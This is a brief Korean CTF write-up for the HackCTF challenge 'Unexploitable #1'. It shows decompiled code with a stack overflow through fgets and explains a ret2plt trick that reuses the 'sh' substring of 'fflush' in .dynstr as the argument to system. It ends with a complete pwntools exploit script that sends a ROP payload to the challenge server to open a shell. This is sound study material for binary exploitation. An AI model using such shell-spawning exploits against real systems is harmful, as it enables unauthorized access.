[HackCTF]Unexploitable #1

그냥 일종의 trick문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Easy RTL ha? You even have system@plt!\n", 1uLL, 0x27uLL, stdout);
  fflush(stdin);
  fgets(&s, 64, stdin);
  return 0;
}

system 가젯을 쓸 수 있다. 근데 fflush가 존재한다. 이거 그냥 Layer7 CTF talmo_party~! 문제에서 나왔던거랑 똑같다. objdump -h 로 .dynstr 위치 가져와서 fflush에서 sh만 가져와서 system함수 인자로 넘겨주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
e = ELF('./Unexploitable_1')
#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz',3023)

sh = 0x4003bf
prdi = 0x00000000004007d3 # pop rdi ; ret

payload = ''
payload += '\x90' * 0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(sh)
payload += p64(e.plt['system'])
p.sendlineafter('!\n',payload)

p.interactive()